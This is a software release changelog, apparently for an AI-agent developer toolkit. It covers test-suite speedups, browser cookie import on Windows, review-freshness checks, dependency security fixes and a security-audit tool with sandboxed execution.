The paid eval planner re-packs slices using recorded per-file wall times from real CI runs (scripts/paid-test-durations.json). It starts from the existing supervised allocation and only moves or swaps a file out of the heaviest slice when no slice's worst-case wall, for 1–4 workers, rises above that allocation's maximum, so CI timeout coverage never gets weaker. Estimated from the recorded times with two workers per slice, the heaviest slice for a typical PR run drops from about 15 minutes to 12 (the length of the single longest eval), and for the full gate census from about 17 minutes to 13.

bun run scripts/test-paid-shards.ts --report <dir> --write-durations merges a report's executed single-file shard times into the seed. Skipped-only and sub-second shards are ignored.

[1.91.5.0] - 2026-09-28

The free suite now finishes in about half the time on a 16-core Linux machine, bun run test:ubicloud runs it on a fresh 16-vCPU Ubicloud VM from any dev box, container, or cloud sandbox, and re-pushing a PR no longer waits behind the previous commit's eval run.

Added

bun run test:ubicloud [test:free args] runs the complete free suite on an ephemeral Ubicloud VM (UBICLOUD_API_KEY required; UBI_SIZE and UBI_LOCATION choose the machine). The VM gets the required CI lane's environment and strictness settings, uncommitted edits are included, shard logs are copied to .context/ubicloud/, and the VM is always destroyed afterwards. A full run takes about four and a half minutes end to end, compared with seven and a half minutes of suite time alone on a 4-vCPU machine.

bun run test:ubicloud --record-durations refreshes scripts/free-test-durations.json in that same environment and copies it back.

scripts/ubicloud/ubi-runner.sh runs any command on a Ubicloud VM (run, or up / ssh / sync / pull / down). It needs only bash, curl, python3, ssh, and tar locally, and it removes its own stale VMs after 12 hours.

Changed

On Linux, bun run test now starts one shard per available CPU, up to 16; macOS and Windows keep the limit of six. On a 16-vCPU VM, 16 shards finished the suite in 137 seconds and six shards took 327 seconds.

The duration seed is re-recorded with browser, display, and CSO tests actually running, and the slowest test file is split into four files. On a 16-vCPU run, all 16 shards now finish within about 15 seconds of each other, where one shard used to take twice as long as the rest. The 20 CI shards are packed with the same seed.

Full-suite and CI planning runs name any test file missing from the duration seed, so a slow new file cannot quietly become the long pole.

The Windows CI lane gets the same single serial retry for attributed failures as the required Linux lane, and uploads its flaky passes as a flake-ledger-windows artifact. Its process-supervision timing tests pass when run alone but can stall under the lane's two-shard load.

A new push to a pull request now cancels the previous commit's paid eval run. The eval slice, report, and comment jobs run unless the workflow is cancelled (!cancelled()) instead of unconditionally (always()), so they still run when the image build is skipped or a slice fails, but a superseded run no longer finishes (and bills) its slices while the new commit's run waits behind it. A workflow test fails if any eval job goes back to a job-level always().

LLM-judge skill quality evals require a clarity score of 3 instead of 4; completeness and actionability bars are unchanged. The cookie setup judge keeps its manually approved thresholds.

Two timing-sensitive tests allow for a heavily loaded machine: the terminal-agent startup race waits up to 8 seconds for a cold agent start, and the invalid Retry-After cases accept timer delays below the next 4-second backoff step.

[1.91.4.0] - 2026-09-28

Windows users can copy signed-in cookies from Opera and Opera GX into gstack's browser. On Windows, where Chrome, Edge and Brave increasingly store App-Bound Encryption cookies that gstack cannot decrypt, Opera and Opera GX still use DPAPI-protected cookies, so they may be the browsers where import keeps working.

Added

cookie-import-browser opera and opera-gx (also operagx and "Opera GX") on Windows, read from %APPDATA%\Opera Software\Opera Stable or Opera GX Stable in Default or Profile N directories. Legacy root-level layouts, Opera side profiles and portable installs are not detected. Includes the Opera registry and Roaming-root contribution from @mvanhorn in #2980 (refs #2957).

Fixed

Windows v10 cookies from current Chromium databases decrypted with 32 bytes of hash in front of the value, so imports could report success while the site stayed signed out. The SHA-256(host_key) prefix is now removed when present, for Chrome, Chromium, Edge and Brave as well as Opera.

App-Bound Encryption rows in a browser without native extraction keep their receipt (counts and reasons) and name the recovery: $B handoff, sign in, $B resume. Partial imports warn that the session may not be restored.

Missing browsers, missing profiles and ambiguous profile selection now say what was checked and what to run next, including which OS supports a browser and the typeable browser names available on this one. CLI receipts list failure reasons.

A relative APPDATA no longer redirects the Opera root.

Changed

BROWSER.md has a Windows Opera walkthrough and tables for receipt failure reasons and import error codes; a free test keeps the browser lists in the docs and command reference in step with the registry.

A Windows CI test decrypts a host-bound Opera cookie with real DPAPI through the Node server runtime. Real Opera sessions on Windows are still awaiting confirmation from the issue reporter.

[1.91.2.0] - 2026-09-25

/sync-gbrain can check whether the current worktree's pages are readable without writing a probe page or deleting guidance when the answer is uncertain.

Fixed

Readiness now matches the registered source to this worktree before checking its page count, then reads a page from that same source. A foreign pin, failed read, invalid count, or unavailable service stays unknown and preserves existing guidance; a verified empty source can still offer reindexing.

The Windows readiness fixture invokes the same Bun-backed gbrain command through a .cmd shim and preserves the inherited PATH spelling and separator.

Importing terminal-agent helpers no longer boots the CLI or installs global process handlers; direct launches still enforce their startup-record check.

The developer-experience question-floor check recognizes a grounded target choice by its structure rather than one phrasing, without accepting unrelated answers.

Engineering review follows its preparation and complexity-gate paths in order, keeps each decision and required report write verifiable, and never enables calibration write-back without its explicit gate.

Changed

The PR evaluation plan includes source-scoped readiness coverage and the resulting judge and supervision budgets without reducing individual test timeouts, retries, or concurrency.

[1.91.1.0] - 2026-09-25

Fixed

Find Impeccable installed through the Claude Code plugin marketplace, including a trusted custom CLAUDE_CONFIG_DIR. Preserve traditional skill installs and the existing explicit-engine, PATH and standalone-cache priority.

Select plugin versions deterministically with strict semver ordering and support for hash-named versions. Keep a selected installation's launcher, engine and engine version together instead of borrowing an older plugin's engine.

Use the same strict ordering for the standalone engine cache, retaining its semver-only policy and precedence. Do not follow cache directory symlinks or repository configuration links into unrelated filesystem trees.

Preserve repository and symlink execution boundaries, sanitize discovery diagnostics, and quote or suppress launcher hints when a filename cannot be represented safely. Discovery never downloads or runs a launcher; engine compatibility warnings and install consent remain unchanged.

Compare canonical HOME paths at the trust boundary, so home-directory aliases and dotfiles repositories do not hide user-installed engines or admit private home files as scan targets.

Add plugin discovery, handoff, malformed-version and adversarial-path regressions, plus Windows-safe discovery cases selected by the native Windows test lane.

Includes the plugin-cache discovery contribution from @SomSamantray in #2976.

[1.90.2.0] - 2026-09-24

Spend less time waiting for tests. Merge with clearer safeguards.

The local test runner uses available CPUs and removes repeated setup without removing test scenarios. Independent question checks run concurrently rather than waiting for one another. /land-and-deploy ties your approval to the selected PR, head and destination branch, checks server state before a merge fallback, and keeps missing deployment evidence visible.

The three numbers that matter

Source: matched Linux component benchmarks in docs/TEST_PORTFOLIO.md, which names the test files, workload and coverage. The live comparison runs both periodic AUQ files with five independent captures. These are separate component measurements, not a complete paid-suite or CI speedup.

Workload Before After Δ

Nine synthetic-terminal test files 165.87s 72.98s −56%

Publication polling and watchdog tests 56.57s 9.63s −83%

Two independent-question test files 325.09s 136.40s −58%

The synthetic-terminal checks save about 93 seconds of repeated waiting. Question checks retain every independent trial and their original grading rules; parallel execution is not permission to substitute one successful answer for several samples.

What this means for developers

Use bun run test for complete free validation; the quick subset is still only a feedback lane. When landing a PR, a changed target requires fresh readiness and approval. A staging check after merge no longer implies production is held, and a healthy old page does not prove the new revision deployed. Run your checks, then use /land-and-deploy to review the evidence before merging.

Itemized changes

Changed

Local free-test workers follow available CPU affinity, with a minimum of one and the existing maximum of six. Explicit worker overrides and the separate CI matrix retain their behavior; Windows CI explicitly keeps its two-worker budget.

Deployment reports distinguish deployment status, production health, staging verification and completed rollback. Requests to stage before production stop before merge with a handoff to the configured pipeline.

Fixed

Browser-consent checks distinguish a promised new consent question from an immediate drive offer, while still rejecting conditional drive permission before Aside is ready.

Review fixtures accept explicit no-change answers and coverage-reporting statements without authorizing source edits or index-flag changes.

Merge fallback requires authoritative confirmation that neither an auto-merge request nor a queue entry exists. Confirmed merges are never replayed, and changed heads or destination branches invalidate earlier approval.

Rollback distinguishes true merge commits, squash merges and rebase ranges. Failed or unverified deployment and canary checks remain visible rather than becoming success labels.

For contributors

Repository release guidance defaults to autonomous patch bumps, including queue collisions. Merge approval remains separate.

Synthetic terminals signal readiness; publication tests advance a scoped clock through the original polling sequence; watchdog scenarios share compilation but retain isolated executables and state.

Free-only dependency exemptions are explicit, mapped dependencies take precedence, and unknown changes retain conservative paid selection. The portfolio document assigns separate responsibilities to structural tests, quality judges, native behaviors, simulations and platform integrations.

Native question, shared-code review and design-detector fixtures validate their actual supported interactions and executed evidence. Source-detector assertion failures are recorded after validation, with attempt-specific diagnostics retained beyond cleanup.

[1.90.0.0] - 2026-09-24

Cookie imports now keep the chosen browser, profile, and destination explicit, show partial failures, and distinguish copying cookies from proving that you are signed in.

Added

macOS Dia discovery and profile selection, using the existing Chromium cookie reader. Live native Dia import remains unqualified; fixture coverage is not a claim of native compatibility.

Optional sign-in verification against an exact, visible identity assertion on the selected destination, with separate copied and verified results.

Explicit current-origin storage recovery. Storage is preserved by default; an opted-in reset clears that origin's localStorage and only the target tab's sessionStorage.

Fixed

Prefer renamed profiles from Local State, distinguish duplicate names, and require selection rather than guessing among plausible accounts. Bare and dotted domain selections now match the intended cookie scope without broadening it.

Register picker imports with the browser's imported-domain security guard, reject cross-origin picker mutations, and bind asynchronous operations to their original destination. Opening another picker makes old windows fail closed instead of silently changing their target.

Show complete, partial, zero, and failed imports accurately. Stale discovery responses and duplicate submissions no longer overwrite the current picker state.

Bound credential subprocess output and cleanup, retry only transient database reads, and prevent automatic replay of cookie-import mutations. The Node server uses a real read-only SQLite adapter.

Changed

Picker handoff codes last five minutes and remain single-use. Browser guidance explains profile selection, storage-reset consent, and the difference between copied cookies and verified sign-in.

Native Windows extraction uses a sandboxed, owned-process, pipe-only path with bounded cleanup and no TCP fallback. Its qualification allowlist is empty in this release, so encrypted-cookie extraction through this path stays disabled with manual-sign-in guidance.

Added isolated platform qualification, launch diagnostics, and regression coverage. Native Dia and protected default-profile Windows qualification remain incomplete; diagnostic passes do not count as successful imports.

[1.89.1.0] - 2026-09-24

Removed

Continuous checkpoint commits. Skills no longer ask users to enable automatic WIP: commits or instruct agents to create them. The checkpoint mode and push settings are no longer advertised or consumed, and existing saved settings are left untouched.

Checkpoint-specific shipping cleanup. /ship no longer exports checkpoint context or rewrites WIP history. It keeps its normal bisectable commit workflow and proceeds directly to verification when changes are already committed. Explicit /context-save and /context-restore remain available.

Fixed

Native DevEx evaluation replies. The test driver recognizes the editor hint shown when Claude Code focuses a custom answer, while still checking the exact question and reply before submitting.

Shared-code review evaluation replies. The no-change driver can use an explicit preservation description to interpret a shorthand label, while still rejecting mixed fix/skip choices and ambiguous answers.

Windows timeout test readiness. The process-cleanup regression waits for a live descendant before firing its registered deadline, while a separate real-clock case keeps startup bounded.

Design consultation workflow. Font and design rules now precede proposal drafting and independent input. Optional-browser routing, existing-system choices, preview feedback and command/session requirements are explicit, and token extraction cannot write the project's design file before approval.

Shipping and engineering-review gates. Missing dispatched reviewers now have an explicit stop/resume path, late shipping fixes return through fresh review, and evidence recovery distinguishes stale inputs from an unavailable ledger. Engineering review separates scope assessment, selector answers and remedy decisions, with ordered preparation and recovery.

[1.89.0.0] - 2026-09-24

Find shared code worth keeping. Get the evidence before you extract it.

/deslop-shared-libs finds places where sharing code could remove duplication and prevent repeated fixes. It starts with the preceding 14 UTC days of commits and PRs, plus relevant work on your branch, then follows the callers and helpers behind promising candidates. Each recommendation names compatible source locations, a small helper, the tests needed, and estimated savings after integration work. The skill recommends changes and stops; it does not edit your project or create issues or PRs.

The three numbers that matter

Source: the workflow contracts in deslop-shared-libs/SKILL.md.tmpl, plan-eng-review/sections/review-sections.md.tmpl, and review/SKILL.md.tmpl, plus the generated catalog census. Run bun test test/shared-libs-rendering.test.ts test/catalog-budget.test.ts to verify distribution and catalog size. These are feature and source-size counts against v1.87.5.0, not performance measurements.

Metric Before After Δ

Dedicated recent-work shared-code audit skills 0 1 +1

Parent reviews using the shared-code rubric 0 2 +2

Generated catalog name and description bytes 4,593 4,675 +82

/plan-eng-review and /review now apply the same criteria within the plan or diff you are already reviewing. They check existing helpers, caller compatibility, tests, and the risk of sharing a bug. They do not run the broader history audit.

What this means for developers

You get up to five supported opportunities and up to three recommendations, with PR-covered work separated and missing evidence disclosed. Optional extractions require approval and do not lower the review score or block a clean result. A skipped extraction is reused only when its identity, branch, and verified source snapshot still match; actual defects keep normal fix handling. Run /deslop-shared-libs, or name a narrower area and time window.

Itemized changes

Added

/deslop-shared-libs recommends useful shared-code extractions. Reports link authored callers, prefer existing helpers, account for tests and integration, and explain reliability gains and risks. Generated and third-party copies do not count toward savings. Fewer recommendations, including none, are valid.

Recent work includes PR overlap checks. The audit distinguishes code changes from comment activity, checks relevant older open PRs within a bounded scan, charges repeated page requests against the limit, and reports inaccessible history or truncated coverage. API reads never create response files, including temporary files outside the project.

Changed

Engineering plans and code reviews share one extraction rubric. /plan-eng-review can evaluate proposed callers with labeled assumptions. /review checks actual changed code and related callers even for small diffs and Codex installations without Review Army.

Extraction advice stays separate from defects. Advice requires approval, survives review persistence with its source evidence, and cannot suppress a real defect. Reusing a previous skip requires matching structural identity, verified source coverage, and branch binding.

Decision briefs retain their headings and closing tradeoff in native question tools. The question carries its pros-and-cons heading and final summary; options retain their own benefits and drawbacks.

For contributors

Added generated-host, discovery, identity, fixture, source-binding, and behavioral coverage. Gate evaluations exercise read-only access and the review action/persistence lifecycle; periodic evaluations cover ranking, PR overlap, and live Codex behavior.

Coverage evaluations now recognize complete combined source reads and explicit diagram legends while retaining checks for source ownership, missing output, and contradictory evidence.

First-question evaluations capture public native questions with a restricted tool set. Mode selection uses the actual question-tool callback and stops without answering. Provider failures and stale output remain failures. Interactive captures survive fixture cleanup when an output directory is configured, including local runs without a named run ID.

[1.88.1.0] - 2026-09-22

Credential masking follows the exact detected source, and pre-push scans follow the actual destination. Browser agents and CSO operations retain precise ownership, while settings updates and artifact reinitialization preserve user-owned data.

Fixed

Credential masking uses original spans mapped from normalized matches, so anchored assignments, repeated values, Unicode and entity input redact the flagged value without masking a later neighbor. Sanitizable CSO source stays readable as masked text; unmaskable payloads remain withheld.

Pre-push scans bind their ranges to the destination's name and effective URL, including separate push URLs. Missing advertised objects use a conservative range, SHA-256 repositories get the correct empty tree, and bounded slices retain normalized proximity context without fabricating line anchors or duplicate findings. Unscannable long lines or context windows still block explicitly.

Hermetic evaluation children reject credential-shaped variables admitted through broad CI prefixes, while preserving CI metadata, named provider authentication and explicit runner overrides.

Browser agents belong to the persistent daemon and an exact process generation. Replacement requires confirmed exit, failed startup retains uncertain children, and publication and shutdown share a lock so older generations cannot delete a successor's discoverability files. Repeated failed respawns are bounded. Uncertain ownership and abandoned publication locks require manual recovery rather than a process sweep.

CSO lease recovery preserves 64-bit filesystem identities and nanosecond timestamps instead of rounding them. Adjacent identities remain distinct, replaced files remain protected, and ambiguous legacy state is still refused.

Settings mutations, backups and rollback resolve the selected symlink target and share its canonical lock. Links, private file modes and unrelated settings survive; changed or invalid targets are refused.

Artifact reinitialization updates managed allowlist entries while retaining the user suffix byte-for-byte, including comments and a missing final newline. Ambiguous markers and failed reads or assembly leave the original allowlist intact.

Changed

Required native macOS checks cover agent lifecycle, concurrent shutdown and linked settings. The native Windows CSO suite exercises repeated commands and exact high-ID lease recovery on NTFS.

[1.87.6.0] - 2026-09-18

Review gates keep their proof. Coverage audits read the code first.

Plan reviews now keep decisions, report checks, and publication checks in order when permissions, stale choices, or host metadata writes fail. Coverage audits for /review, /ship, and plan reviews read concrete source and test files before drawing their diagrams, so gaps are tied to code paths instead of diff and config noise.

Generation now validates every host and expected artifact, and Codex evaluation records retain failed execution and assertions. Plan reviews carry approved decisions through scope changes and save complete reports before declaring completion. CEO and engineering reviews save and verify each question before asking it; Autoplan reads and verifies the current plan, then publishes the parent phase report before advancing.

Fixed

PR evaluation plans keep a small changed-behavior profile and selected quality judges, while weekly and manual runs retain fresh broad coverage. Deferred checks remain visible. Verified workflow-judge passes can be reused within the same PR for 24 hours only when their complete inputs and runtime match.

Free tests use a refreshed timing inventory and balanced isolated CI runners. test:quick provides an explicit partial feedback run; the complete suite remains required. Collection fixtures wait for actual readiness instead of repeating fixed startup delays. Recovered retries retain their original failure logs. Windows fixtures handle native paths and give independent scenarios separate deadlines; prepared Git fixtures disable background maintenance before copying.

/plan-ceo-review and /plan-eng-review preserve scoped decisions, required save/read-back checks, and report publication before declaring completion or advancing to the next section.

Coverage audits read source and test files in a dedicated step before mapping [OK] and [GAP] rows, while keeping framework and config context separate.

/plan-eng-review clarifies setup gates, targeted audit timing, report ordering, and Outside Voice output surfaces without losing saved-question verification.

The plan-count timeout fixture closes stdin without forcing process exit before diagnostics can be captured.

Ship host golden files and parity size guards match the generated Codex, Factory, and plan-review outputs.

Skill generation awaits every artifact across all hosts. Freshness checks detect missing output, validate generated content, preserve files and directories during dry runs, and report generation errors instead of accepting partial output.

Codex evaluation records follow the runner result and assertions. Timeouts, failed validations, inherited output pipes, and interrupted attempts retain their actual outcomes, captured usage, and bounded cleanup.

Paid test supervision allows each file to finish its existing cases and configured retries. CI and detached-run limits cover the full schedule without increasing model work budgets.

gstack-decision-log --help explains the accepted payload and safe shell quoting without creating state.

Plan reviews preserve the selected mode and prior approvals, compare each option against independent changes, and verify complete reports before recording completion. Engineering reviews assign independent decisions before drafting options, then audit and save the complete question before presenting it. Accepted scope includes the full selected option and its conditions; conflicting wording requires a corrected question and another answer. DX reviews use the same onboarding milestone for benchmarks, targets, examples, and measurement, and carry required factual verification forward without unnecessary approval questions. Outside-review suggestions use explicit approval menus; a dependency conflict returns to the affected decision before the plan is declared ready.

/plan-ceo-review follows ordered phases and carries every existing approval through scope changes, including reviews with no new approach choice. It saves the complete question, option facts, and source references, then verifies the actual outgoing question against those saved fields and sends it unchanged. It applies file permissions consistently to plans, reports, tasks, and review metadata. When writes are forbidden, it carries complete review inputs in chat and labels them not persisted. A failed save stops completion. Unavailable reviewers and missing scores remain unavailable instead of inheriting a prior score.

Design skills save mockups, previews, and approved designs under the configured state directory, and later steps discover them there. CEO plan discovery also follows the configured state directory in design input detection and prior-plan context.

/autoplan loads each review's complete instructions, waits for asynchronous reviewers, and sends the current amended plan to spec reviewers. Each phase reloads its closing steps and verifies the full current plan before announcing completion; amendment checkpoints stay separate from reviewer inputs. Native review drivers acknowledge current questions and permissions promptly, reject stale frames and late completions, and recognize the offered manual handoff.

/office-hours preserves structured review evidence through completion, keeps supported handoff content when replacing review sections, and develops distinct builder ideas. /setup-gbrain handles fresh state, remote-only sharing declines, and interrupted attempts without leaking fixture state.

Terminal sessions drain output before reporting completion. Browser shutdown cleans up only the configured server instance. Pairing fixtures use checked ports and bounded cleanup. Deprecated-flag scans exclude workspace caches before searching and propagate command and filesystem failures.

CSO public reports redact repository roots regardless of their path, while private snapshots retain the identity needed for verification. CSO also rejects a remote Docker endpoint with the correct diagnostic even when Docker is not installed.

Changed

CEO, engineering and Autoplan instructions fit their existing prompt-size limits while retaining approval, saved-question verification and report-publication requirements. Engineering uses one section-loading step and one approval check, with explicit rules for independent choices and unchanged question payloads.

Review fixtures provide the application context and independent contracts their assertions require, declare supported editing and feedback interfaces, and verify existing rollback behavior. The DX count scenario covers a bounded onboarding decision checkpoint and defers independent roadmap work. Design evaluations submit real board feedback before acknowledging it and grant image reads only inside their owned artifact directory. Sol evaluations generate skills in private storage without replacing checkout caches. Native fixtures match complete permission text and offered handoff choices. Shared helper and source-template dependencies select the affected evaluations; overlay tests distinguish correctness from performance measurements.

Contributor instructions require focused reproductions and adjacent checks before paid evaluations, independent scheduling, launcher preflight with executed-case counts, reuse of passing checks with unchanged inputs, and one full free-suite acceptance run after the code is frozen. Recurring parser failures require checking the supported input class against the pinned runtime.

[1.87.5.0] - 2026-09-17

Tests finish sooner without dropping checks. CI stops waiting on unused tooling.

This release speeds up gstack's development feedback loop. Terminal-driven checks react to new output instead of waiting through a fixed polling interval. Synthetic CLIs can announce when their input handlers are ready, while real CLI sessions retain their startup grace and input debounces. Completed processes no longer stay alive just to finish unused timeout timers.

The three numbers that matter

Measured on the same Linux machine with Bun 1.4.0. Run each named file with bun test <file> on the previous release and this version. The polyfill and daemon numbers are three-run wall-time medians on both sides; the permission baseline is one observed run, and its after value is a three-run median. These are individual test-file measurements, not whole-suite or production latency claims.

Test file Before After Δ

browse/test/bun-polyfill.test.ts 17.30s 1.29s −93%

design/test/daemon-discovery.test.ts 17.78s 11.99s −33%

test/plan-count-file-permission.test.ts 97.05s 30.92s −68%

The permission suite still makes all 115 assertions, including its deliberate stale-prompt delay. Terminal observations are capped at four per second so animated output cannot turn faster responses into a busy loop.

What this means for contributors

Local test runs spend less time waiting after work is already complete. CI planning no longer pulls the execution image or waits for image lookup before producing its manifest; executors still require both prerequisites, and missing or failed results still fail reconciliation. Run bun run test for the complete free suite.

Itemized changes

For contributors

Wake plan-count checks on output and exit, retain a silent metadata fallback, and settle output bursts before reading split redraws. Three synthetic CLI suites use explicit startup readiness without changing real-CLI startup behavior.

Cancel unused PTY and Node deadlines, stop already-exited daemon fixtures immediately, clear cookie-picker fixture sessions between suites, and await watchdog shutdown with a bounded completion signal.

Await telemetry append completion in consent tests instead of assuming disk writes finish within 30ms. Consent checks and error swallowing are unchanged.

Run gate and periodic CI planners directly on pinned Bun without dependency installation. Reports also skip unused installs; fork restrictions, executor images, and failure checks remain intact.

Retain failed eval shard logs from the hidden CI cache directory without uploading unrelated cache files.

Inject the CSO Git-pointer race at its first bounded read, preserving the original rejection assertion.

Preload the UI-positive design-review eval in an isolated plan fixture and require an answered native design question, rather than accepting scope or outside-review menus. Bind command-rejection checks to the invoked skill, not a child tool's diagnostics.

Generate skill documentation in a fresh checkout without importing browser runtime dependencies. Keep snapshot flag metadata and public exports unchanged.

Eliminate early-reader pipe races in artifact URL normalization and safety-hook matching. Multiline commands retain their warnings even with large trailing content.

Treat a publication removed by another CSO recovery helper during candidate enumeration as a bounded retry; replacement inodes still fail closed.

[1.87.4.0] - 2026-09-16

Failed checks stay failed. Health scores show what actually ran.

/health now keeps each checker's exit status and counts diagnostics from its complete output. Reports still show only the final 50 log lines. Scores name the checked and unavailable categories, so a partial run carries its coverage beside the number. Runs with no checks produce no numeric score or history entry.

The three numbers that matter

Source: the synthetic checker in test/health-capture.test.ts, which emits 60 type errors followed by 80 context lines and exits 2. These measurements compare the v1.87.3.0 capture example with this version under default Bash without pipefail. Run bun test test/health-capture.test.ts to verify current behavior. These are correctness measurements, not production statistics.

Metric Before After Δ

Reported checker exit status 0 2 +2

Type errors available for scoring 0 60 +60

Displayed checker log lines 50 50 0

The failing checker no longer looks successful because tail succeeded. All 60 errors count even when the displayed tail contains only context.

What this means for developers

You can distinguish a score backed by several checks from one based on a single available tool. Empty runs report N/A — no checks ran; capture errors also remain unscored and leave existing history unchanged. Trends compare only matching categories, so installing a new checker does not manufacture a regression or improvement. Run /health to see the score and its coverage together.

Itemized changes

Fixed

/health preserves failed checks and complete diagnostic counts. Reports show the final 50 output lines while scoring the full log and the checker's actual exit status. Temporary capture errors remain explicit errors.

Health scores disclose coverage. Partial runs list checked and unavailable categories. Runs with no checks report N/A — no checks ran, leave numeric history unchanged, and have no trend. Score comparisons require matching categories.

Changed

Routing evaluations choose among installed GStack skills, keeping built-in CLI skills outside the evaluated catalog. The model still chooses by matching the request to each skill's description.

[1.87.3.0] - 2026-09-15

Changed code needs another pass. Review freshness now checks both ends.

A green review now stays attached to the code that was there when the pass began. /review and /ship capture that content before reading it, then compare again when the pass finishes. If fixes changed the files, another pass has to review those fixes before the dashboard can call the result CURRENT. Older log-only records remain visible, but cannot stand in for a completed code review.

A clean result requires a completed pass on unchanged content with no unresolved findings. A stopped or nonconverged run cannot clear the code-review row just because its commit has not moved.

The three numbers that matter

Source: scenarios in test/review-start-evidence.test.ts, checked against released v1.87.0.0 and this version. Run bun test test/review-start-evidence.test.ts to verify current behavior. These are false CURRENT grades across five deterministic cases, not production incident estimates.

Cases incorrectly graded CURRENT Before After Δ

Mid-review edits: tracked and untracked source 2 0 -2

Log-only result without a captured review start 1 0 -1

Codex advisory findings: none or only some resolved 2 0 -2

The old stamp could certify a review after its own fixes changed the tree. Those cases now stay STALE or UNVERIFIED, including an advisory-only Codex pass that leaves findings unresolved.

What this means for developers

You can distinguish a completed, unchanged pass from a run that still needs attention before merging. Plan reviews keep their existing rules; they assess the plan rather than the checked-out source. Completion is still reviewer-reported, not proof that an LLM read every file. Run /review again after fixes and use the new result when preparing to ship.

Itemized changes

Fixed

Review freshness no longer certifies unreviewed fixes. /review and /ship bind each diff pass to the content captured before it starts. Edits during review, incomplete passes, and older log-only records stay stale or unverified in the readiness dashboard and /land-and-deploy, even when HEAD has not moved. Plan-review evidence keeps its existing freshness rules.

Codex readiness keeps unresolved findings visible. Passing the critical-findings gate does not make a review CURRENT while advisory findings remain open. The gate's severity policy is unchanged.

[1.87.2.0] - 2026-09-15

Headless commands stop closing your logged-in browser. Other projects leave it alone.

Keep a headed GStack Browser open while another project uses headless browse commands. Starting, stopping, or disconnecting that project's headless daemon no longer kills the process holding your headed profile or removes its locks. The shared-profile cleanup now runs only for headed sessions, which actually use that profile. Headed startup keeps its stale-lock recovery.

The three numbers that matter

Source: bun test browse/test/chromium-profile-isolation.test.ts, running the same nine-case regression suite against unchanged main and this release. Its headless CLI cases pair a real daemon with a controlled live process holding another project's profile locks. The headed startup controls use a stub daemon.

Metric Before After Δ

Isolation suite cases passing 3 of 9 9 of 9 +6

Isolation suite cases failing 6 of 9 0 of 9 -6

Headed startup controls passing 2 of 2 2 of 2 Unchanged

The six previously failing cases now pass without deleting the foreign locks or killing their holder. Both explicit --headed and BROWSE_HEADED=1 still clear stale locks before launch.

This release separates headless cleanup from the shared headed profile. It does not give two headed sessions separate profiles, and it does not fix production Chromium process-identity capture. Tests that supply a recorded process identity verify its cleanup behavior; they are not evidence that a real launch records that identity.

What this means for multi-project work

You can leave one browser open for work that needs your logins while another project starts or stops its own headless daemon. That removes the cross-project cleanup path behind the disappearing-window report, without claiming a solution for two headed browsers sharing one profile. Upgrade gstack and keep using your existing headed connection.

Itemized changes

Fixed

Headless daemon startup, stop, disconnect, and crash cleanup leave another project's headed browser and shared profile locks alone. Headed launches retain stale-lock cleanup. (#2817)

For contributors

Added nine regression cases for shared-profile isolation, including cleanup with a supplied recorded process identity. Production identity capture is not validated by those fixtures.

Extended only the outer deadline of the native Windows USERPROFILE integration test to 120 seconds. Its assertions and subprocess timeouts are unchanged.

[1.87.1.0] - 2026-09-15

Two vulnerable dependencies are fixed. Archive extraction keeps its boundary.

Sharp now resolves to 0.35.4, replacing the vulnerable libheif bundle, and adm-zip resolves to 0.6.1, which rejects extraction through destination symlinks. Both packages arrive through transitive dependencies, so the override changes also update the resolved lockfile and Sharp's platform packages. A normal archive still extracts, and the screenshot downscaler still reads and resizes PNGs. The fix does not change the pinned evaluation harness or add a vulnerability exception. This takes the dependency update from #2867 without bundling its separate override-expiry and scheduled-notification proposals into the security patch.

The three numbers that matter

These results come from OSV-Scanner 2.3.8 with the existing .osv-scanner.toml, and bun test test/dependency-security.test.ts against the original and updated lockfiles.

Check Before After Δ

Unsuppressed OSV findings 2 0 -2

Security regression checks passing 1/6 6/6 +5

Destination-symlink escape cases rejected 0/2 2/2 +2

The two escape cases cover a symlinked file and a symlinked directory. Both now refuse the write and leave the file outside the extraction directory unchanged. The scanner's existing exceptions remain in place; zero unsuppressed findings is not a claim that every dependency is vulnerability-free.

What this means for users

The installed dependency tree no longer carries these two known-vulnerable versions. The screenshot path continues to handle PNGs, while archive extraction gains the upstream boundary check without a new configuration switch. Upgrade, then run bun install --frozen-lockfile to install the fixed dependency set.

Itemized changes

Security

Upgrade the sharp override to 0.35.4 and adm-zip to 0.6.1, including the resolved Sharp platform packages. Addresses #2866. Contributed by @smsmatt in #2867.

Add regression coverage for fixed version floors, the loaded Sharp runtime, ordinary archive extraction, and file/directory destination symlink rejection.

[1.87.0.0] - 2026-09-11

/cso now distinguishes verified vulnerabilities from hypotheses and coverage gaps, and qualified comprehensive audits can produce replayable repair bundles without changing your working branch.

Added

/cso --doctor, --resume, --replay, and --recheck diagnose prerequisites, recover interrupted work, repeat recorded verification, and establish closure from a fresh snapshot. --base, --budget, and --offline make scope, time, and network policy explicit.

A native gstack-cso helper captures tracked changes and nonignored source without Git hooks or staging, rejects unsafe files and changing inputs, redacts output before storage, enforces run budgets, and retains recoverable reports and bundles under the private gstack state root.

Comprehensive audits have declared preparation paths for Node, Bun, Python, and Rails, with SQLite and disposable PostgreSQL support. Dependency acquisition is separated from offline application execution, and target code runs only through the constrained local Docker policy.

Runtime-tested repair bundles record the original reproduction, an authenticated out-of-process security assertion, legitimate controls, the patch, dependency and configuration closures, provenance, and input hashes. Project-test completion remains self_reported; the stronger tested label is reserved for a future target-independent completion witness. Replay requires matching source; current-source rechecks collect new evidence instead of inheriting old status.

Scanner adapters normalize Gitleaks, OSV-Scanner, Semgrep, zizmor, Trivy, Schemathesis, and imported SARIF as candidate evidence with version, scope, freshness, exclusions, and failure records.

Protected release workflows, 40 vulnerable/fixed evaluation pairs across the four supported stacks, fault-injection tests, and runtime/scanner promotion gates qualify catalogs before comprehensive target execution is enabled.

Changed

Daily /cso audits remain bounded and static. Reports begin with complete, partial, or not assessed, publish supported findings as they become available, separate severity from confidence and evidence, and say exactly which security work was left undone.

Security judgment now models actors, assets, entrypoints, tenant boundaries, sensitive operations, and invariants; challenges each candidate against callers and controls; and evaluates development dependencies, availability, historical secrets, role-controlled input, and gstack-owned skills by attacker control and impact.

Setup builds the trusted launcher only when Bun supports all required no-autoload flags and the native toolchain is available. Unsupported hosts retain the rest of gstack and receive a precise /cso prerequisite instead of a partially trusted helper.

Legacy v2 reports remain readable as historical review evidence. They never inherit v3 reproduced, repair-tested, or current-source closure status.

The authenticated repository owner account @garrytan is exempt from the PR liveness screenshot; all other contributors still provide live GSTACK PR proof.

Security

Runtime startup strips injection variables, binds absolute executables and allowlisted environments, rejects remote Docker contexts, and uses pinned images, non-root containers, dropped capabilities, read-only roots, bounded writable storage and output, no published ports, and network-isolated reproduction groups.

